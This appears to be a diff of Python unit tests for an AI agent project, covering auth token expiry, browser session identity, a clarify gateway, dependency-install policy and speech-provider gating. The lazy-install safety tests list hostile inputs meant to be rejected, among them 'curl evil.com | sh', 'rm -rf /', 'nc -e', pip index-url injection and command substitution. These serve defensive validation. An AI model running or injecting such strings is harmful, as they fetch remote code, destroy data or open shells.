Guard rail: if someone adds a third file-mutating tool (e.g. a new
``append_file``), they should also audit whether the verifier should
track it. This test fails loudly on unilateral additions.
"""
assert _FILE_MUTATING_TOOLS == frozenset({"write_file", "patch"})
+2 -1
View File
@@ -945,7 +945,8 @@ class TestAuxiliaryClientProviderPriority:
monkeypatch.delenv("OPENROUTER_API_KEY", raising=False)
from agent.auxiliary_client import get_text_auxiliary_client
with patch("agent.auxiliary_client._read_nous_auth", return_value={"access_token": "nous-tok"}), \
patch("agent.auxiliary_client.OpenAI") as mock:
patch("agent.auxiliary_client.OpenAI") as mock, \
patch("hermes_cli.models.get_nous_recommended_aux_model", return_value=None):
client, model = get_text_auxiliary_client()
assert model == "google/gemini-3-flash-preview"
+1
View File
@@ -169,6 +169,7 @@ class TestEphemeralMaxOutputTokens:
agent.reasoning_config = None
agent._is_anthropic_oauth = False
agent._ephemeral_max_output_tokens = None
agent._use_long_lived_prefix_cache = False
compressor = MagicMock()
compressor.context_length = 200_000
+74
View File
@@ -32,9 +32,11 @@ from hermes_cli.auth import (
_minimax_pkce_pair,
_minimax_request_user_code,
_minimax_poll_token,
_minimax_resolve_token_expiry_unix,
_refresh_minimax_oauth_state,
resolve_minimax_oauth_runtime_credentials,
get_minimax_oauth_auth_status,
get_auth_status,
get_provider_auth_state,
)
@@ -67,6 +69,23 @@ def _past_iso(seconds_ago: int = 3600) -> str:
return datetime.fromtimestamp(ts, tz=timezone.utc).isoformat()
# ---------------------------------------------------------------------------
# 0. test_resolve_token_expiry_unix_ttl_vs_absolute_ms
# ---------------------------------------------------------------------------
def test_resolve_token_expiry_unix_ttl_seconds():
now = datetime(2025, 6, 1, 12, 0, 0, tzinfo=timezone.utc)
got = _minimax_resolve_token_expiry_unix(3600, now=now)
assert abs(got - (now.timestamp() + 3600)) < 0.01
def test_resolve_token_expiry_unix_absolute_ms():
now = datetime(2025, 6, 1, 12, 0, 0, tzinfo=timezone.utc)
abs_ms = int((now.timestamp() + 7200) * 1000)
got = _minimax_resolve_token_expiry_unix(abs_ms, now=now)
assert abs(got - (now.timestamp() + 7200)) < 0.01
# ---------------------------------------------------------------------------
# 1. test_pkce_pair_produces_valid_s256
# ---------------------------------------------------------------------------
@@ -362,6 +381,46 @@ def test_refresh_updates_access_token():
assert result["expires_in"] == 7200
def test_refresh_updates_access_token_absolute_ms_expired_in():
"""Refresh payload may use unix-ms absolute ``expired_in`` (same as device-code)."""
now0 = datetime.now(timezone.utc)
abs_ms = int((now0.timestamp() + 1800) * 1000)
state = {
"access_token": "old-access",
"refresh_token": "my-refresh",
"portal_base_url": MINIMAX_OAUTH_GLOBAL_BASE,
"client_id": MINIMAX_OAUTH_CLIENT_ID,
"inference_base_url": MINIMAX_OAUTH_GLOBAL_INFERENCE,
"expires_at": _future_iso(MINIMAX_OAUTH_REFRESH_SKEW_SECONDS - 1),
}
new_token_body = {
"status": "success",
"access_token": "new-access",
"refresh_token": "new-refresh",
"expired_in": abs_ms,
}
mock_resp = _make_httpx_response(200, new_token_body)
with patch("httpx.Client") as mock_client_class:
mock_client_instance = MagicMock()
mock_client_instance.__enter__ = MagicMock(return_value=mock_client_instance)
mock_client_instance.__exit__ = MagicMock(return_value=False)
mock_client_instance.post.return_value = mock_resp
mock_client_class.return_value = mock_client_instance
with patch("hermes_cli.auth._minimax_save_auth_state"):
result = _refresh_minimax_oauth_state(state)
assert result["access_token"] == "new-access"
assert 1790 <= result["expires_in"] <= 1810
exp = datetime.fromisoformat(result["expires_at"].replace("Z", "+00:00"))
skew = exp.timestamp() - datetime.now(timezone.utc).timestamp()
assert 1790 <= skew <= 1810
# ---------------------------------------------------------------------------
# 10. test_refresh_reuse_triggers_relogin_required
# ---------------------------------------------------------------------------
@@ -464,3 +523,18 @@ def test_get_minimax_oauth_auth_status_logged_in():
assert status["logged_in"] is True
assert status["region"] == "global"
def test_generic_auth_status_dispatches_minimax_oauth():
state = {
"access_token": "tok",
"expires_at": _future_iso(3600),
"region": "global",
}
with patch("hermes_cli.auth.get_provider_auth_state", return_value=state):
status = get_auth_status("minimax-oauth")
assert status["logged_in"] is True
assert status["provider"] == "minimax-oauth"
assert status["region"] == "global"
+63 -12
View File
@@ -11,22 +11,73 @@ def _load_optional_dependencies():
return project["optional-dependencies"]
def test_matrix_extra_linux_only_in_all():
"""mautrix[encryption] depends on python-olm which is upstream-broken on
modern macOS (archived libolm, C++ errors with Clang 21+). The [matrix]
extra is included in [all] but gated to Linux via a platform marker so
that ``hermes update`` doesn't fail on macOS."""
def test_matrix_extra_not_in_all():
"""The [matrix] extra pulls `mautrix[encryption]` -> `python-olm`,
which has Linux-only wheels and no native build path on Windows or
modern macOS (archived libolm, C++ errors with Clang 21+).
With matrix in [all], `uv sync --locked` on Windows tried to build
python-olm from sdist and failed on `make`. As of 2026-05-12 the
[matrix] extra is excluded from [all] entirely and routed through
`tools/lazy_deps.py` (LAZY_DEPS["platform.matrix"]) installs at
first use, where the user is expected to have a toolchain.
"""
optional_dependencies = _load_optional_dependencies()
assert "matrix" in optional_dependencies
# Must NOT be unconditional — python-olm has no macOS wheels.
assert "hermes-agent[matrix]" not in optional_dependencies["all"]
# Must be present with a Linux platform marker.
linux_gated = [
assert "matrix" in optional_dependencies, "[matrix] extra must still exist for explicit `pip install hermes-agent[matrix]`"
# Must NOT appear in [all] in any form — neither unconditional nor
# platform-gated. Lazy-install handles it.
matrix_in_all = [
dep for dep in optional_dependencies["all"]
if "matrix" in dep and "linux" in dep
if "matrix" in dep
]
assert linux_gated, "expected hermes-agent[matrix] with sys_platform=='linux' marker in [all]"
assert not matrix_in_all, (
"matrix must not appear in [all] — it's lazy-installed via "
"tools/lazy_deps.py LAZY_DEPS['platform.matrix']. Found: "
f"{matrix_in_all}"
)
def test_lazy_installable_extras_excluded_from_all():
"""Policy (2026-05-12): every extra that has a `LAZY_DEPS` entry
in `tools/lazy_deps.py` must be excluded from [all].
The lazy-install system exists so one quarantined PyPI release
(e.g. mistralai 2.4.6) can't break every fresh install. Putting a
backend in BOTH [all] and LAZY_DEPS defeats that fresh installs
eager-install it and inherit whatever's broken upstream.
If you're tempted to add an opt-in backend to [all] for "convenience,"
add it to `LAZY_DEPS` instead so it installs at first use.
"""
optional_dependencies = _load_optional_dependencies()
# Hard-coded mirror of the extras that are in LAZY_DEPS as of
# 2026-05-12. This list intentionally duplicates rather than
# imports tools/lazy_deps.py so the test stays a contract — if
# someone adds a new lazy-install backend, they have to update
# this list AND verify [all] doesn't contain it.
lazy_covered_extras = {
"anthropic", "bedrock",
"exa", "firecrawl", "parallel-web",
"fal",
"edge-tts", "tts-premium",
"voice", # faster-whisper / sounddevice / numpy
"modal", "daytona", "vercel",
"messaging", "slack", "matrix", "dingtalk", "feishu",
"honcho", "hindsight",
}
all_extra_specs = optional_dependencies["all"]
for extra in lazy_covered_extras:
offending = [
spec for spec in all_extra_specs
if f"hermes-agent[{extra}]" in spec
]
assert not offending, (
f"[{extra}] is in [all] but also in LAZY_DEPS. "
f"Remove it from [all] in pyproject.toml — it lazy-installs "
f"at first use. Found in [all]: {offending}"
)
def test_messaging_extra_includes_qrcode_for_weixin_setup():
@@ -193,6 +193,118 @@ class TestManagedPersistenceMode:
assert tab_requests[0]["userId"] == tab_requests[1]["userId"]
class TestConfiguredCamofoxIdentity:
"""Externally managed Camofox sessions can provide their own identity."""
def test_env_identity_overrides_default_identity(self, tmp_path, monkeypatch):
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
monkeypatch.setenv("CAMOFOX_URL", "http://localhost:9377")
monkeypatch.setenv("CAMOFOX_USER_ID", "shared-camofox")
monkeypatch.setenv("CAMOFOX_SESSION_KEY", "visible-tab")
monkeypatch.setenv("CAMOFOX_ADOPT_EXISTING_TAB", "true")
with patch("tools.browser_camofox._get", return_value={"tabs": []}) as mock_get:
session = _get_session("task-1")
assert session["user_id"] == "shared-camofox"
assert session["session_key"] == "visible-tab"
assert session["managed"] is True
assert session["adopt_existing_tab"] is True
mock_get.assert_called_once_with(
"/tabs",
params={"userId": "shared-camofox"},
timeout=5,
)
def test_config_identity_is_used_when_env_is_absent(self, tmp_path, monkeypatch):
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
monkeypatch.setenv("CAMOFOX_URL", "http://localhost:9377")
config = {
"browser": {
"camofox": {
"user_id": "config-user",
"session_key": "config-session",
"adopt_existing_tab": False,
}
}
}
with patch("tools.browser_camofox.load_config", return_value=config):
session = _get_session("task-1")
assert session["user_id"] == "config-user"
assert session["session_key"] == "config-session"
assert session["adopt_existing_tab"] is False
def test_env_identity_takes_precedence_over_config(self, tmp_path, monkeypatch):
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
monkeypatch.setenv("CAMOFOX_URL", "http://localhost:9377")
monkeypatch.setenv("CAMOFOX_USER_ID", "env-user")
monkeypatch.setenv("CAMOFOX_SESSION_KEY", "env-session")
monkeypatch.setenv("CAMOFOX_ADOPT_EXISTING_TAB", "false")
config = {
"browser": {
"camofox": {
"user_id": "config-user",
"session_key": "config-session",
"adopt_existing_tab": True,
}
}
}
with patch("tools.browser_camofox.load_config", return_value=config):
session = _get_session("task-1")
assert session["user_id"] == "env-user"
assert session["session_key"] == "env-session"
assert session["adopt_existing_tab"] is False
def test_adopts_existing_tab_matching_session_key(self, tmp_path, monkeypatch):
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
monkeypatch.setenv("CAMOFOX_URL", "http://localhost:9377")
monkeypatch.setenv("CAMOFOX_USER_ID", "shared-camofox")
monkeypatch.setenv("CAMOFOX_SESSION_KEY", "visible-tab")
monkeypatch.setenv("CAMOFOX_ADOPT_EXISTING_TAB", "true")
tabs = {
"tabs": [
{"tabId": "tab-other", "listItemId": "other"},
{"tabId": "tab-visible", "listItemId": "visible-tab"},
]
}
with patch("tools.browser_camofox._get", return_value=tabs):
session = _get_session("task-1")
assert session["tab_id"] == "tab-visible"
def test_managed_persistence_can_opt_into_tab_adoption(self, tmp_path, monkeypatch):
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
monkeypatch.setenv("CAMOFOX_URL", "http://localhost:9377")
config = {"browser": {"camofox": {"managed_persistence": True, "adopt_existing_tab": True}}}
with (
patch("tools.browser_camofox.load_config", return_value=config),
patch("tools.browser_camofox._get", return_value={"tabs": [{"tabId": "tab-1"}]}),
):
session = _get_session("task-1")
assert session["tab_id"] == "tab-1"
def test_soft_cleanup_preserves_externally_managed_session(self, tmp_path, monkeypatch):
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
monkeypatch.setenv("CAMOFOX_URL", "http://localhost:9377")
monkeypatch.setenv("CAMOFOX_USER_ID", "shared-camofox")
with patch("tools.browser_camofox._get", return_value={"tabs": []}):
_get_session("task-1")
result = camofox_soft_cleanup("task-1")
assert result is True
import tools.browser_camofox as mod
with mod._sessions_lock:
assert "task-1" not in mod._sessions
class TestVncUrlDiscovery:
"""VNC URL is derived from the Camofox health endpoint."""
+4 -1
View File
@@ -53,8 +53,11 @@ class TestCamofoxIdentity:
class TestCamofoxConfigDefaults:
def test_default_config_includes_managed_persistence_toggle(self):
def test_default_config_includes_camofox_controls(self):
from hermes_cli.config import DEFAULT_CONFIG
browser_cfg = DEFAULT_CONFIG["browser"]
assert browser_cfg["camofox"]["managed_persistence"] is False
assert browser_cfg["camofox"]["user_id"] == ""
assert browser_cfg["camofox"]["session_key"] == ""
assert browser_cfg["camofox"]["adopt_existing_tab"] is False
+207
View File
@@ -0,0 +1,207 @@
"""Tests for the gateway-side clarify primitive (tools/clarify_gateway.py).
The clarify tool needs to ask the user a question and block the agent
thread until they respond. These tests cover the module-level state
machine: register, wait, resolve via button, resolve via text-fallback,
"Other"-button text-capture flip, timeout, session boundary cleanup.
"""
from __future__ import annotations
import threading
import time
from concurrent.futures import ThreadPoolExecutor
import pytest
def _clear_clarify_state():
"""Reset module-level state between tests."""
from tools import clarify_gateway as cm
with cm._lock:
cm._entries.clear()
cm._session_index.clear()
cm._notify_cbs.clear()
class TestClarifyPrimitive:
"""Core register/wait/resolve mechanics."""
def setup_method(self):
_clear_clarify_state()
def test_button_choice_resolves_wait(self):
"""resolve_gateway_clarify unblocks wait_for_response with the chosen string."""
from tools import clarify_gateway as cm
cm.register("id1", "sk1", "Pick one", ["A", "B", "C"])
def resolver():
time.sleep(0.05)
cm.resolve_gateway_clarify("id1", "B")
threading.Thread(target=resolver).start()
result = cm.wait_for_response("id1", timeout=2.0)
assert result == "B"
def test_open_ended_auto_awaits_text(self):
"""Clarify with no choices is in text-capture mode immediately."""
from tools import clarify_gateway as cm
entry = cm.register("id2", "sk2", "Free form?", None)
assert entry.awaiting_text is True
# get_pending_for_session returns the entry so the gateway
# text-intercept can find it.
pending = cm.get_pending_for_session("sk2")
assert pending is not None
assert pending.clarify_id == "id2"
def test_button_choice_does_not_auto_await(self):
"""Multi-choice clarify should NOT be in text-capture mode initially."""
from tools import clarify_gateway as cm
entry = cm.register("id3", "sk3", "Pick", ["X", "Y"])
assert entry.awaiting_text is False
assert cm.get_pending_for_session("sk3") is None
def test_other_button_flips_to_text_mode(self):
"""mark_awaiting_text makes get_pending_for_session find the entry."""
from tools import clarify_gateway as cm
cm.register("id4", "sk4", "Pick", ["X", "Y"])
assert cm.get_pending_for_session("sk4") is None
flipped = cm.mark_awaiting_text("id4")
assert flipped is True
pending = cm.get_pending_for_session("sk4")
assert pending is not None
assert pending.clarify_id == "id4"
def test_mark_awaiting_text_unknown_id(self):
"""mark_awaiting_text on a non-existent id returns False."""
from tools import clarify_gateway as cm
assert cm.mark_awaiting_text("nope") is False
def test_timeout_returns_none(self):
"""wait_for_response returns None when no resolve fires within the timeout."""
from tools import clarify_gateway as cm
cm.register("id5", "sk5", "Q?", ["A"])
result = cm.wait_for_response("id5", timeout=0.2)
assert result is None
def test_resolve_unknown_id_returns_false(self):
"""resolve_gateway_clarify is idempotent on unknown ids."""
from tools import clarify_gateway as cm
assert cm.resolve_gateway_clarify("nope", "anything") is False
def test_resolve_after_wait_completes_is_noop(self):
"""A late resolve on a finished entry doesn't blow up."""
from tools import clarify_gateway as cm
cm.register("id6", "sk6", "Q?", ["A"])
# Time out, entry gets cleaned up
cm.wait_for_response("id6", timeout=0.1)
# Late button click — should not raise
result = cm.resolve_gateway_clarify("id6", "A")
assert result is False
def test_clear_session_cancels_pending_entries(self):
"""clear_session unblocks blocked threads with empty response."""
from tools import clarify_gateway as cm
cm.register("id7", "sk7", "Q?", ["A"])
def waiter():
return cm.wait_for_response("id7", timeout=10.0)
with ThreadPoolExecutor(1) as pool:
fut = pool.submit(waiter)
time.sleep(0.05)
cancelled = cm.clear_session("sk7")
assert cancelled == 1
result = fut.result(timeout=2.0)
# clear_session sets response="" then the wait returns it
assert result == ""
def test_has_pending(self):
from tools import clarify_gateway as cm
cm.register("id8", "sk8", "Q?", ["A"])
assert cm.has_pending("sk8") is True
assert cm.has_pending("nonexistent") is False
def test_notify_register_unregister_clears_pending(self):
"""unregister_notify cancels any pending clarify so threads unwind."""
from tools import clarify_gateway as cm
cm.register("id9", "sk9", "Q?", ["A"])
def waiter():
return cm.wait_for_response("id9", timeout=10.0)
with ThreadPoolExecutor(1) as pool:
fut = pool.submit(waiter)
time.sleep(0.05)
cm.register_notify("sk9", lambda entry: None)
cm.unregister_notify("sk9")
# unregister_notify calls clear_session; thread unwinds
result = fut.result(timeout=2.0)
assert result == ""
def test_session_index_isolation(self):
"""Entries from different sessions don't leak across get_pending lookups."""
from tools import clarify_gateway as cm
cm.register("idA", "alpha", "Q?", None) # auto-await text
cm.register("idB", "beta", "Q?", None) # auto-await text
a = cm.get_pending_for_session("alpha")
b = cm.get_pending_for_session("beta")
assert a is not None and a.clarify_id == "idA"
assert b is not None and b.clarify_id == "idB"
def test_clarify_timeout_config_default(self):
"""get_clarify_timeout returns 600 by default."""
from tools import clarify_gateway as cm
timeout = cm.get_clarify_timeout()
# Default 600s OR whatever is in the user's loaded config.
# Floor check: must be a positive int, not crashed.
assert isinstance(timeout, int)
assert timeout > 0
class TestGatewayTextIntercept:
"""The gateway's _handle_message intercepts text replies to pending clarifies."""
def setup_method(self):
_clear_clarify_state()
def test_get_pending_for_session_returns_oldest_text_awaiting(self):
"""When two clarifies are pending, get_pending_for_session returns the
first that is awaiting_text (the older one if both)."""
from tools import clarify_gateway as cm
# Older multi-choice (not awaiting text)
cm.register("first", "sk", "Q1?", ["A"])
# Newer open-ended (awaiting text)
cm.register("second", "sk", "Q2?", None)
pending = cm.get_pending_for_session("sk")
# The newer one is awaiting text; the older isn't.
assert pending is not None
assert pending.clarify_id == "second"
# Now flip the first to text mode too. Both are awaiting text,
# FIFO returns the older one.
cm.mark_awaiting_text("first")
pending2 = cm.get_pending_for_session("sk")
assert pending2 is not None
assert pending2.clarify_id == "first"
+4 -4
View File
@@ -91,7 +91,7 @@ def make_env(daytona_sdk, monkeypatch):
if list_return is not None:
mock_client.list.return_value = list_return
else:
mock_client.list.return_value = SimpleNamespace(items=[])
mock_client.list.return_value = iter([])
daytona_sdk.Daytona = MagicMock(return_value=mock_client)
@@ -156,13 +156,13 @@ class TestPersistence:
legacy.process.exec.return_value = _make_exec_response(result="/root")
env = make_env(
get_side_effect=daytona_sdk.DaytonaError("not found"),
list_return=SimpleNamespace(items=[legacy]),
list_return=iter([legacy]),
persistent=True,
task_id="mytask",
)
legacy.start.assert_called_once()
env._mock_client.list.assert_called_once_with(
labels={"hermes_task_id": "mytask"}, page=1, limit=1)
labels={"hermes_task_id": "mytask"}, limit=1)
env._mock_client.create.assert_not_called()
def test_persistent_creates_new_when_none_found(self, make_env, daytona_sdk):
@@ -176,7 +176,7 @@ class TestPersistence:
# by checking get() was called with the right sandbox name
env._mock_client.get.assert_called_with("hermes-mytask")
env._mock_client.list.assert_called_with(
labels={"hermes_task_id": "mytask"}, page=1, limit=1)
labels={"hermes_task_id": "mytask"}, limit=1)
def test_non_persistent_skips_lookup(self, make_env):
env = make_env(persistent=False)
+228
View File
@@ -0,0 +1,228 @@
"""Tests for tools.lazy_deps — the supply-chain-resilient on-demand installer.
The lazy_deps module is the architectural fix for the "one quarantined
package nukes 10 unrelated extras" problem. It exposes ``ensure(feature)``
which only installs from a strict allowlist, refuses anything that looks
like a URL / file path, runs venv-scoped, and respects the
``security.allow_lazy_installs`` config flag.
These tests cover the security boundary and the public API. The real pip
call is mocked we never actually shell out during unit tests.
"""
from __future__ import annotations
from typing import Iterator
import pytest
import tools.lazy_deps as ld
# ---------------------------------------------------------------------------
# Spec safety
# ---------------------------------------------------------------------------
class TestSpecSafety:
@pytest.mark.parametrize("spec", [
"mistralai>=2.3.0,<3",
"elevenlabs>=1.0,<2",
"honcho-ai>=2.0.1,<3",
"boto3>=1.35.0,<2",
"mautrix[encryption]>=0.20,<1",
"google-api-python-client>=2.100,<3",
"youtube-transcript-api>=1.2.0",
"qrcode>=7.0,<8",
"package", # bare name, no version
"package==1.0.0",
"package~=1.0",
])
def test_safe_specs_pass(self, spec):
assert ld._spec_is_safe(spec), f"expected {spec!r} to be safe"
@pytest.mark.parametrize("spec", [
# URL-shaped → rejected (no remote origin override allowed)
"git+https://github.com/foo/bar.git",
"https://example.com/foo.tar.gz",
# File path → rejected
"/etc/passwd",
"./local-malware",
"../escape",
# Shell metacharacters → rejected
"package; rm -rf /",
"package && curl evil.com | sh",
"package`whoami`",
"package$(whoami)",
"package|nc -e",
# Pip flag injection → rejected
"--index-url=http://evil/",
"-r requirements.txt",
# Whitespace control chars → rejected
"package\nshell-injection",
"package\rmore",
# Empty / overly long → rejected
"",
"x" * 500,
])
def test_unsafe_specs_rejected(self, spec):
assert not ld._spec_is_safe(spec), \
f"expected {spec!r} to be rejected"
# ---------------------------------------------------------------------------
# Allowlist enforcement
# ---------------------------------------------------------------------------
class TestAllowlist:
def test_unknown_feature_raises(self, monkeypatch):
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
with pytest.raises(ld.FeatureUnavailable, match="not in LAZY_DEPS"):
ld.ensure("not.a.real.feature")
def test_lazy_deps_keys_use_namespace_dot_name(self):
# Sanity check on the data shape — every key should be at least
# one dot-separated namespace.
for key in ld.LAZY_DEPS:
assert "." in key, f"feature {key!r} should be namespace.name"
def test_every_lazy_dep_spec_passes_safety(self):
# Defence in depth — even though specs are author-controlled,
# the safety regex must accept everything we ship.
for feature, specs in ld.LAZY_DEPS.items():
for spec in specs:
assert ld._spec_is_safe(spec), \
f"{feature}: spec {spec!r} fails safety check"
def test_feature_install_command_returns_pip_invocation(self):
cmd = ld.feature_install_command("memory.honcho")
assert cmd is not None
assert cmd.startswith("uv pip install")
assert "honcho-ai" in cmd
def test_feature_install_command_unknown(self):
assert ld.feature_install_command("not.real") is None
# ---------------------------------------------------------------------------
# allow_lazy_installs gating
# ---------------------------------------------------------------------------
class TestSecurityGating:
def test_disabled_via_config_raises(self, monkeypatch):
# Pretend honcho is missing AND lazy installs are disabled.
monkeypatch.setitem(ld.LAZY_DEPS, "test.feat", ("packageX>=1.0,<2",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: False)
with pytest.raises(ld.FeatureUnavailable, match="lazy installs disabled"):
ld.ensure("test.feat", prompt=False)
def test_disabled_via_env_var(self, monkeypatch):
monkeypatch.setenv("HERMES_DISABLE_LAZY_INSTALLS", "1")
# Bypass config layer; the env var alone must disable.
monkeypatch.setattr(
"hermes_cli.config.load_config",
lambda: {"security": {"allow_lazy_installs": True}},
)
assert ld._allow_lazy_installs() is False
def test_default_allows(self, monkeypatch):
monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False)
monkeypatch.setattr(
"hermes_cli.config.load_config",
lambda: {"security": {}},
)
assert ld._allow_lazy_installs() is True
def test_config_failure_fails_open(self, monkeypatch):
# If config can't be read at all, we ALLOW installs rather than
# blocking the user out of their own backends.
monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False)
monkeypatch.setattr(
"hermes_cli.config.load_config",
lambda: (_ for _ in ()).throw(RuntimeError("config broken")),
)
assert ld._allow_lazy_installs() is True
# ---------------------------------------------------------------------------
# ensure() happy/sad paths
# ---------------------------------------------------------------------------
class TestEnsure:
def test_already_satisfied_is_noop(self, monkeypatch):
# If the package is importable, ensure() returns without calling pip.
monkeypatch.setitem(ld.LAZY_DEPS, "test.satisfied", ("zzzfake>=1",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True)
# If pip were called, this would fail loudly.
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda *a, **kw: pytest.fail("pip should not be called"),
)
ld.ensure("test.satisfied", prompt=False) # no exception
def test_install_success_path(self, monkeypatch):
monkeypatch.setitem(ld.LAZY_DEPS, "test.install", ("zzzfake>=1",))
# First check sees missing, post-install check sees installed.
call_count = {"n": 0}
def fake_satisfied(spec):
call_count["n"] += 1
return call_count["n"] > 1 # missing first, installed after
monkeypatch.setattr(ld, "_is_satisfied", fake_satisfied)
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda specs, **kw: ld._InstallResult(True, "ok", ""),
)
ld.ensure("test.install", prompt=False)
def test_install_failure_surfaces_pip_stderr(self, monkeypatch):
monkeypatch.setitem(ld.LAZY_DEPS, "test.fail", ("zzzfake>=1",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda specs, **kw: ld._InstallResult(
False, "", "ERROR: package not found on PyPI"
),
)
with pytest.raises(ld.FeatureUnavailable, match="pip install failed"):
ld.ensure("test.fail", prompt=False)
def test_install_succeeds_but_still_missing_raises(self, monkeypatch):
# Pip says success but the package still isn't importable
# (e.g. site-packages caching, wrong python). Surface this.
monkeypatch.setitem(ld.LAZY_DEPS, "test.cache", ("zzzfake>=1",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
monkeypatch.setattr(ld, "_allow_lazy_installs", lambda: True)
monkeypatch.setattr(
ld, "_venv_pip_install",
lambda specs, **kw: ld._InstallResult(True, "ok", ""),
)
with pytest.raises(ld.FeatureUnavailable, match="still not importable"):
ld.ensure("test.cache", prompt=False)
# ---------------------------------------------------------------------------
# is_available
# ---------------------------------------------------------------------------
class TestIsAvailable:
def test_unknown_feature_returns_false(self):
assert ld.is_available("not.a.thing") is False
def test_satisfied_returns_true(self, monkeypatch):
monkeypatch.setitem(ld.LAZY_DEPS, "test.avail", ("zzzfake>=1",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: True)
assert ld.is_available("test.avail") is True
def test_missing_returns_false(self, monkeypatch):
monkeypatch.setitem(ld.LAZY_DEPS, "test.miss", ("zzzfake>=1",))
monkeypatch.setattr(ld, "_is_satisfied", lambda spec: False)
assert ld.is_available("test.miss") is False
@@ -71,6 +71,12 @@ class TestProviderSelectionGate:
assert tt._get_provider({"enabled": True, "provider": "groq"}) == "groq"
def test_explicit_mistral_sees_dotenv(self):
"""Mistral STT is intentionally disabled (PyPI quarantine 2026-05-12).
Even with the dotenv key visible, explicit `provider: mistral` must
return "none" with a warning. Restore the previous behavior once
`mistralai` is un-quarantined on PyPI.
"""
from tools import transcription_tools as tt
with patch.object(tt, "_HAS_FASTER_WHISPER", False), \
@@ -78,7 +84,7 @@ class TestProviderSelectionGate:
patch.object(tt, "_has_local_command", return_value=False), \
patch("hermes_cli.config.load_env",
return_value={"MISTRAL_API_KEY": "dotenv-secret"}):
assert tt._get_provider({"enabled": True, "provider": "mistral"}) == "mistral"
assert tt._get_provider({"enabled": True, "provider": "mistral"}) == "none"
def test_explicit_xai_sees_dotenv(self):
from tools import transcription_tools as tt
+26 -9
View File
@@ -979,16 +979,23 @@ class TestTranscribeMistral:
# ============================================================================
class TestGetProviderMistral:
"""Mistral-specific provider selection tests."""
"""Mistral-specific provider selection tests.
Mistral STT is intentionally disabled in 2026-05-12+ while the
`mistralai` PyPI package is quarantined. These tests document that
explicit `provider: mistral` always returns "none" with a warning, and
that auto-detect skips mistral entirely.
"""
def test_mistral_when_key_and_sdk_available(self, monkeypatch):
"""Even with key + SDK, explicit mistral returns 'none' (disabled)."""
monkeypatch.setenv("MISTRAL_API_KEY", "test-key")
with patch("tools.transcription_tools._HAS_MISTRAL", True):
from tools.transcription_tools import _get_provider
assert _get_provider({"provider": "mistral"}) == "mistral"
assert _get_provider({"provider": "mistral"}) == "none"
def test_mistral_explicit_no_key_returns_none(self, monkeypatch):
"""Explicit mistral with no key returns none — no cross-provider fallback."""
"""Explicit mistral with no key returns none."""
monkeypatch.delenv("MISTRAL_API_KEY", raising=False)
with patch("tools.transcription_tools._HAS_MISTRAL", True):
from tools.transcription_tools import _get_provider
@@ -1001,18 +1008,23 @@ class TestGetProviderMistral:
from tools.transcription_tools import _get_provider
assert _get_provider({"provider": "mistral"}) == "none"
def test_auto_detect_mistral_after_openai(self, monkeypatch):
"""Auto-detect: mistral is tried after openai when both are unavailable."""
def test_auto_detect_skips_mistral(self, monkeypatch):
"""Auto-detect intentionally skips mistral (quarantine workaround).
With no other provider available but MISTRAL_API_KEY set, the result
must be 'none' mistral is no longer in the auto-detect chain.
"""
monkeypatch.delenv("GROQ_API_KEY", raising=False)
monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False)
monkeypatch.delenv("OPENAI_API_KEY", raising=False)
monkeypatch.delenv("XAI_API_KEY", raising=False)
monkeypatch.setenv("MISTRAL_API_KEY", "test-key")
with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \
patch("tools.transcription_tools._has_local_command", return_value=False), \
patch("tools.transcription_tools._HAS_OPENAI", False), \
patch("tools.transcription_tools._HAS_MISTRAL", True):
from tools.transcription_tools import _get_provider
assert _get_provider({}) == "mistral"
assert _get_provider({}) == "none"
def test_auto_detect_openai_preferred_over_mistral(self, monkeypatch):
"""Auto-detect: openai is preferred over mistral (both paid, openai more common)."""
@@ -1286,8 +1298,13 @@ class TestGetProviderXAI:
from tools.transcription_tools import _get_provider
assert _get_provider({}) == "xai"
def test_auto_detect_mistral_preferred_over_xai(self, monkeypatch):
"""Auto-detect: mistral is preferred over xai."""
def test_auto_detect_mistral_skipped_xai_wins(self, monkeypatch):
"""Auto-detect skips mistral entirely (quarantine) — xai wins.
Even with MISTRAL_API_KEY set, mistral is no longer in the
auto-detect chain. xai is the next-best fallback when the
local/groq/openai chain is unavailable.
"""
monkeypatch.setenv("MISTRAL_API_KEY", "test-key")
monkeypatch.setenv("XAI_API_KEY", "xai-test")
monkeypatch.delenv("GROQ_API_KEY", raising=False)
@@ -1298,7 +1315,7 @@ class TestGetProviderXAI:
patch("tools.transcription_tools._HAS_OPENAI", False), \
patch("tools.transcription_tools._HAS_MISTRAL", True):
from tools.transcription_tools import _get_provider
assert _get_provider({}) == "mistral"
assert _get_provider({}) == "xai"
def test_auto_detect_no_key_returns_none(self, monkeypatch):
"""Auto-detect: xai skipped when no key is set."""
+15 -8
View File
@@ -162,27 +162,34 @@ class TestGenerateMistralTts:
class TestTtsDispatcherMistral:
def test_dispatcher_routes_to_mistral(
def test_dispatcher_returns_disabled_error(
self, tmp_path, mock_mistral_module, monkeypatch
):
"""Mistral TTS is intentionally disabled (PyPI quarantine 2026-05-12).
The dispatcher must short-circuit with a clear status message before
attempting any SDK import, even when MISTRAL_API_KEY is set and a
mock SDK is wired in. Restore routing once `mistralai` is
un-quarantined on PyPI.
"""
import json
from tools.tts_tool import text_to_speech_tool
monkeypatch.setenv("MISTRAL_API_KEY", "test-key")
mock_mistral_module.audio.speech.complete.return_value = MagicMock(
